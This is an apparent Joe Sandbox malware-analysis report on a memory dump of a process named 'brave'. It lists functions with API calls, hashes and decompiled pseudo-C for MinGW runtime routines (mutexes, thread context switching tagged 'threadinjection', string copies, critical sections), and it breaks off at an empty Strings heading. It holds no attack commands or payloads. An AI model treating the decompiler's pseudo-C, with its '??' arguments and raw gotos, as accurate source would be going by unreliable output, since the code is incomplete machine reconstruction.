Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoaabort
String ID: Error cl$eaning u$eys for $p spin_k$thread
API String ID: 4191895893-3545615192
Opcode ID: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction ID: 425cf9c033dfb359405932f3e7d5b8e753baa14e9fde26db0c9c6743c5b18463
Opcode Fuzzy Hash: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction Fuzzy Hash: 55212F7260CB8181E7748B14F15431AB7E1F785788F504278E2CD8ABA8DF7DD4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80F750 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF69F80F761
WaitForSingleObject.KERNEL32 ref: 00007FF69F80F772
FindAtomA.KERNEL32 ref: 00007FF69F80F7DF
ReleaseMutex.KERNEL32 ref: 00007FF69F80F7ED
CloseHandle.KERNEL32 ref: 00007FF69F80F7F6
CloseHandle.KERNEL32 ref: 00007FF69F80F817

Strings

failed to to lock cleanup mutex, xrefs: 00007FF69F80F808

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: failed to to lock cleanup mutex
API String ID: 3776795807-674698732
Opcode ID: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction ID: 59aa1260b0e109d2ac8929fd8238d2ccf302e689c04ac1cbee2c37a32bbffc89
Opcode Fuzzy Hash: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction Fuzzy Hash: C0211265B1AA43C1EEB49B51E9541B463E1FF45B85B8AD8B5C80DC73A0EE7CE481D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F821DD0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF69F821DE1
GetProcAddress.KERNEL32 ref: 00007FF69F821DF8
LoadLibraryW.KERNEL32 ref: 00007FF69F821E1F
GetProcAddress.KERNEL32 ref: 00007FF69F821E2F

Strings

rand_s, xrefs: 00007FF69F821DEE
SystemFunction036, xrefs: 00007FF69F821E25
msvcrt.dll, xrefs: 00007FF69F821DDA
advapi32.dll, xrefs: 00007FF69F821E18

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction ID: 94ede52586f5a05a3f4c3619559705bb61bf9923bf300a227201f53d1054e1cc
Opcode Fuzzy Hash: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction Fuzzy Hash: 9AF01220A0EA0BD4EE659B01FC640B423A8FF09795B8A0AB6C80D82364EF3CE565C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82DEF0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69F82DF96
memcpy.MSVCRT ref: 00007FF69F82DFC1
memcpy.MSVCRT ref: 00007FF69F82E030
memcpy.MSVCRT ref: 00007FF69F82E06E
memcpy.MSVCRT ref: 00007FF69F82E0BF

Strings

basic_string::_M_replace, xrefs: 00007FF69F82E1DE

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction ID: f2d797bd77fec50dcb6b4a9a5dd8ca8a008ef8c27f9b7b5ce5f56bd8e0a60b19
Opcode Fuzzy Hash: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction Fuzzy Hash: DF71CE22A09A9691EAB0DB1182041FD6774EB00BD4F964572EE1D97BD0DF3EF543E304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82AE20 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69F82AEC5
memcpy.MSVCRT ref: 00007FF69F82AEF0
memcpy.MSVCRT ref: 00007FF69F82AF59
memcpy.MSVCRT ref: 00007FF69F82AF8D
memcpy.MSVCRT ref: 00007FF69F82AFD9

Strings

basic_string::_M_replace, xrefs: 00007FF69F82B0E1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction ID: 890014b5d0b59f993fd500b7d225ed3f588622cf82eb6af8c105812de330d34d
Opcode Fuzzy Hash: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction Fuzzy Hash: 38612822E0E6D691EDB29A1581045F86768DF12BD0F5A41B2CE2C977C2DE2EF543E310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F815AE0 Relevance: 13.7, APIs: 9, Instructions: 182
threadinjectionsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF67FF69F815AE0(void* __ecx, void* __edi, void* __rax, void* __rcx) {
				char _v1272;
				signed int _t18;
				void* _t39;
				void* _t40;
				void* _t42;
				intOrPtr _t50;
				void* _t51;
				intOrPtr* _t52;

				_t39 = __rax;
				_t51 = __rcx;
				E00007FF67FF69F813190(__edi, __rcx);
				_t42 = _t39;
				if (_t39 == 0) goto 0x9f815bce;
				_t40 =  *((intOrPtr*)(_t39 + 0x28)) - 1;
				if (_t40 - 0xfffffffd > 0) goto 0x9f815bce;
				if (GetHandleInformation(??, ??) == 0) goto 0x9f815bce;
				_t4 = _t42 + 0x38; // 0x38
				E00007FF67FF69F8104E0(_t4);
				E00007FF67FF69F812D40(__ecx,  &_v1272);
				if (_t40 == 0) goto 0x9f815d20;
				_t18 =  *(_t42 + 0x40) & 0x000000ff;
				if (_t51 ==  *((intOrPtr*)(_t40 + 0x1d8))) goto 0x9f815ca0;
				if (( *(_t42 + 0x44) & 0x00000003) == 3) goto 0x9f815be8;
				if ((_t18 & 0x00000003) != 0) goto 0x9f815bc0;
				_t52 =  *0x9fab6920; // 0x7ff69fac1400
				_t50 =  *_t52;
				 *(_t42 + 0x40) = _t18 & 0xfffffffc | 0x00000001;
				if (_t50 == 0) goto 0x9f815d50;
				if ( *((long long*)(_t50 + 0x18)) == 0) goto 0x9f815d30;
				asm("lock add dword [eax], 0x1");
				if ( *((intOrPtr*)(_t42 + 0x30)) == 0) goto 0x9f815ba8;
				SetEvent(??);
				E00007FF67FF69F810800(_t4);
				return 0;
			}

0x7ff69f815ae0
0x7ff69f815aed
0x7ff69f815af0
0x7ff69f815af5
0x7ff69f815afb
0x7ff69f815b05
0x7ff69f815b0d
0x7ff69f815b23
0x7ff69f815b29
0x7ff69f815b30
0x7ff69f815b35
0x7ff69f815b3d
0x7ff69f815b4a
0x7ff69f815b51
0x7ff69f815b60
0x7ff69f815b68
0x7ff69f815b6a
0x7ff69f815b77
0x7ff69f815b7a
0x7ff69f815b80
0x7ff69f815b8b
0x7ff69f815b95
0x7ff69f815ba0
0x7ff69f815ba2
0x7ff69f815bab
0x7ff69f815bbf

APIs

GetHandleInformation.KERNEL32 ref: 00007FF69F815B1B

Part of subcall function 00007FF69F812D40: TlsGetValue.KERNEL32 ref: 00007FF69F812DA0

SetEvent.KERNEL32 ref: 00007FF69F815BA2
SuspendThread.KERNEL32 ref: 00007FF69F815BFC
WaitForSingleObject.KERNEL32 ref: 00007FF69F815C08
GetThreadContext.KERNEL32 ref: 00007FF69F815C1C
SetThreadContext.KERNEL32 ref: 00007FF69F815C38
SetEvent.KERNEL32 ref: 00007FF69F815C7E
ResumeThread.KERNEL32 ref: 00007FF69F815C90
SetEvent.KERNEL32 ref: 00007FF69F815CE3

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendValueWait
String ID:
API String ID: 2335333592-0
Opcode ID: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction ID: 0dc10a11dd5ac82bf409f2f218d55abf62a5e9f383657be06050be553d581842
Opcode Fuzzy Hash: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction Fuzzy Hash: D6818C62B0960681EBB99F25D60437937B1FF40B98F5646B1DA6C8B394DF2CE884E340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F827980 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF69F827980(intOrPtr* __rcx, void* __rdx) {
				void* _t13;

				_t13 = __rdx;
				if (__rdx - 0xfffffff9 > 0) goto 0x9f8279ef;
				E00007FF67FF69F828580(__rcx, __rdx,  *((intOrPtr*)( *__rcx - 0x18)), __rdx);
				if (_t13 == 0) goto 0x9f8279cc;
				if (_t13 == 1) goto 0x9f8279e0;
				return memset(??, ??, ??);
			}

0x7ff69f827995
0x7ff69f8279a5
0x7ff69f8279ac
0x7ff69f8279b4
0x7ff69f8279be
0x7ff69f8279d7

APIs

memset.MSVCRT ref: 00007FF69F8279C7
memcpy.MSVCRT ref: 00007FF69F827BB9

Part of subcall function 00007FF69F828580: memcpy.MSVCRT ref: 00007FF69F8285FB

Strings

basic_string::insert, xrefs: 00007FF69F827CA3, 00007FF69F827CB2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F827CB9
basic_string::_M_replace_aux, xrefs: 00007FF69F8279EF

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 438689982-1339558951
Opcode ID: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction ID: 21b9eeb19fea127123208c71c10cbdd475a9addcf039db14d43a9ac40eca251f
Opcode Fuzzy Hash: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction Fuzzy Hash: DD5115A2A0D69641EEB15A6B8A100FC5370EF05BD4F5A55B2DE2CC7392DD2EF583E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8191C0 Relevance: 13.6, APIs: 9, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FF67FF69F8191C0(void* __esi, long long* __rcx, void* __rdx) {
				long long _v72;
				void* _t12;
				long long* _t28;
				intOrPtr _t47;

				_t28 = __rcx;
				if (__rcx == 0) goto 0x9f819380;
				_t47 =  *((intOrPtr*)(__rcx));
				r13d = 0x16;
				if (_t47 == 0) goto 0x9f8192b4;
				if (_t47 == 0xffffffff) goto 0x9f8192d0;
				_t1 = _t47 + 0x98; // 0x98
				_t3 = _t47 + 0x70; // 0x70
				_v72 = _t1;
				r8d = 0xffffffff;
				_t12 = E00007FF67FF69F819120(0,  *((intOrPtr*)(_t47 + 0xa8)), _t3);
				r13d = _t12;
				if (_t12 != 0) goto 0x9f8192b4;
				if (TryEnterCriticalSection(??) == 0) goto 0x9f8193c0;
				if ( *((intOrPtr*)(_t47 + 8)) -  *((intOrPtr*)(_t47 + 0x10)) > 0) goto 0x9f819390;
				 *_t28 = 0;
				E00007FF67FF69F818880(1,  *((intOrPtr*)(_t47 + 0xa8)), _t3, _t1);
				CloseHandle(??);
				CloseHandle(??);
				LeaveCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				free(??);
				return r13d;
			}

0x7ff69f8191ce
0x7ff69f8191d4
0x7ff69f8191da
0x7ff69f8191dd
0x7ff69f8191e6
0x7ff69f8191f0
0x7ff69f8191f6
0x7ff69f819206
0x7ff69f81920d
0x7ff69f819215
0x7ff69f81921b
0x7ff69f819220
0x7ff69f819225
0x7ff69f819243
0x7ff69f819253
0x7ff69f819259
0x7ff69f81926b
0x7ff69f81927f
0x7ff69f819289
0x7ff69f81928e
0x7ff69f81929e
0x7ff69f8192a3
0x7ff69f8192aa
0x7ff69f8192af
0x7ff69f8192c5

APIs

Part of subcall function 00007FF69F819120: EnterCriticalSection.KERNEL32(?,?,?,?,00007FF69F819749), ref: 00007FF69F819146
Part of subcall function 00007FF69F819120: LeaveCriticalSection.KERNEL32(?,00007FF69F819749,?,?,?,?,?,?,?,?,?,?,?,00007FF69FAC1400,?), ref: 00007FF69F81916B

TryEnterCriticalSection.KERNEL32 ref: 00007FF69F819233
CloseHandle.KERNEL32 ref: 00007FF69F81927F
CloseHandle.KERNEL32 ref: 00007FF69F819289
LeaveCriticalSection.KERNEL32 ref: 00007FF69F81928E
DeleteCriticalSection.KERNEL32 ref: 00007FF69F81929E
DeleteCriticalSection.KERNEL32 ref: 00007FF69F8192A3
DeleteCriticalSection.KERNEL32 ref: 00007FF69F8192AA
free.MSVCRT ref: 00007FF69F8192AF
LeaveCriticalSection.KERNEL32 ref: 00007FF69F8193B1

Part of subcall function 00007FF69F818880: EnterCriticalSection.KERNEL32 ref: 00007FF69F818898
Part of subcall function 00007FF69F818880: ReleaseSemaphore.KERNEL32 ref: 00007FF69F8188C6
Part of subcall function 00007FF69F818880: LeaveCriticalSection.KERNEL32 ref: 00007FF69F8188D3

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$DeleteEnter$CloseHandle$ReleaseSemaphorefree
String ID:
API String ID: 897415695-0
Opcode ID: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction ID: 172b3beee02298bf5e7f7a660e3704db942c02436eef316e84f12da262efc8a8
Opcode Fuzzy Hash: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction Fuzzy Hash: EB512921B08A4681FAA09B2699547BA37A4FF45B98F464AB5DD7EC33D1CF3CA441E301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F818BA0 Relevance: 13.6, APIs: 9, Instructions: 81COMMON

Download Yara Rule

APIs

calloc.MSVCRT(?,00007FF69FAC1400,00000000,00007FF69F817B97,?,?,?,00007FF69F817CC5,?,?,?,?,00007FF69F817E65,?,00007FF69FAC1400), ref: 00007FF69F818BCC
CreateSemaphoreA.KERNEL32 ref: 00007FF69F818C0C
CreateSemaphoreA.KERNEL32 ref: 00007FF69F818C23
InitializeCriticalSection.KERNEL32(?,00007FF69FAC1400,00000000,00007FF69F817B97,?,?,?,00007FF69F817CC5,?,?,?,?,00007FF69F817E65,?,00007FF69FAC1400), ref: 00007FF69F818C4B
InitializeCriticalSection.KERNEL32(?,00007FF69FAC1400,00000000,00007FF69F817B97,?,?,?,00007FF69F817CC5,?,?,?,?,00007FF69F817E65,?,00007FF69FAC1400), ref: 00007FF69F818C52
InitializeCriticalSection.KERNEL32(?,00007FF69FAC1400,00000000,00007FF69F817B97,?,?,?,00007FF69F817CC5,?,?,?,?,00007FF69F817E65,?,00007FF69FAC1400), ref: 00007FF69F818C59

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalInitializeSection$CreateSemaphore$calloc
String ID:
API String ID: 2075313795-0
Opcode ID: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction ID: 9f3260819d6cdf82896a2ab0e3c11eb403cd08ef992cd2d3cc4579080dcf9aba
Opcode Fuzzy Hash: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction Fuzzy Hash: 2B219332B0671286FBA5DB25E519B6A37E4EF44794F064175CA2D873C0EF3C9492D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80E650 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00007FF67FF69F80E650(void* __ebx, long __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32) {
				void* _v32;
				intOrPtr _v108;
				void* _v144;
				void* _t19;
				void* _t20;
				void* _t22;
				void* _t26;
				intOrPtr _t42;
				long long _t44;
				intOrPtr _t45;
				intOrPtr* _t46;
				long long _t47;
				intOrPtr _t48;
				intOrPtr* _t49;
				intOrPtr _t50;
				void* _t51;
				void* _t52;
				signed long long _t55;
				long long _t59;
				intOrPtr _t64;
				struct _MEMORY_BASIC_INFORMATION* _t67;
				intOrPtr _t76;
				long long _t80;

				_t26 = __ebx;
				_t44 =  &_a16;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_v32 = _t44;
				_t20 = E00007FF67FF69F821D50(_t19, 2, _t44, __rcx);
				r8d = 0x1b;
				0x9f8216c8(_t51);
				_t52 = _v32;
				E00007FF67FF69F821D50(_t20, 2, _t44, "Mingw-w64 runtime failure:\n");
				_t59 = _t44;
				0x9f821648();
				0x9f821710();
				asm("o16 nop [eax+eax]");
				_t80 = _t59;
				if (_t26 <= 0) goto 0x9f80e7f0;
				_t45 =  *0x9fac10f8; // 0x2863bffb20
				_t46 = _t45 + 0x18;
				asm("o16 nop [eax+eax]");
				_t64 =  *_t46;
				if (_t64 - _t80 > 0) goto 0x9f80e70c;
				_t76 =  *((intOrPtr*)(_t46 + 8));
				r8d =  *((intOrPtr*)(_t76 + 8));
				if (_t80 - _t64 + _t76 < 0) goto 0x9f80e793;
				_t47 = _t46 + 0x28;
				if (1 != _t26) goto 0x9f80e6f0;
				_t22 = E00007FF67FF69F80F3C0();
				if (_t47 == 0) goto 0x9f80e812;
				_t48 =  *0x9fac10f8; // 0x2863bffb20
				_t55 =  *0x9fac10f4 +  *0x9fac10f4 * 4 << 3;
				_t49 = _t48 + _t55;
				 *((long long*)(_t49 + 0x20)) = _t47;
				 *_t49 = 0;
				E00007FF67FF69F80F4F0(_t22, _t76);
				r8d = 0x30;
				_t50 =  *0x9fac10f8; // 0x2863bffb20
				 *((long long*)(_t50 + _t55 + 0x18)) = _t80 + _t49;
				VirtualQuery(_t52, _t67, __rcx);
				_t42 = _t50;
				if (_t42 == 0) goto 0x9f80e7f7;
				if (_t42 == 0) goto 0x9f80e78c;
				if (_t42 != 0) goto 0x9f80e7a0;
				 *0x9fac10f4 =  *0x9fac10f4 + 1;
				return _v108;
			}

0x7ff69f80e650
0x7ff69f80e65a
0x7ff69f80e664
0x7ff69f80e669
0x7ff69f80e66e
0x7ff69f80e673
0x7ff69f80e678
0x7ff69f80e67d
0x7ff69f80e692
0x7ff69f80e697
0x7ff69f80e6a1
0x7ff69f80e6a9
0x7ff69f80e6af
0x7ff69f80e6b4
0x7ff69f80e6ba
0x7ff69f80e6cf
0x7ff69f80e6d4
0x7ff69f80e6da
0x7ff69f80e6e3
0x7ff69f80e6e7
0x7ff69f80e6f0
0x7ff69f80e6f6
0x7ff69f80e6f8
0x7ff69f80e6fc
0x7ff69f80e706
0x7ff69f80e70f
0x7ff69f80e715
0x7ff69f80e71a
0x7ff69f80e725
0x7ff69f80e72b
0x7ff69f80e736
0x7ff69f80e73a
0x7ff69f80e73d
0x7ff69f80e741
0x7ff69f80e747
0x7ff69f80e754
0x7ff69f80e75d
0x7ff69f80e764
0x7ff69f80e769
0x7ff69f80e76f
0x7ff69f80e772
0x7ff69f80e782
0x7ff69f80e78a
0x7ff69f80e78c
0x7ff69f80e79b

APIs

VirtualQuery.KERNEL32 ref: 00007FF69F80E769

Strings

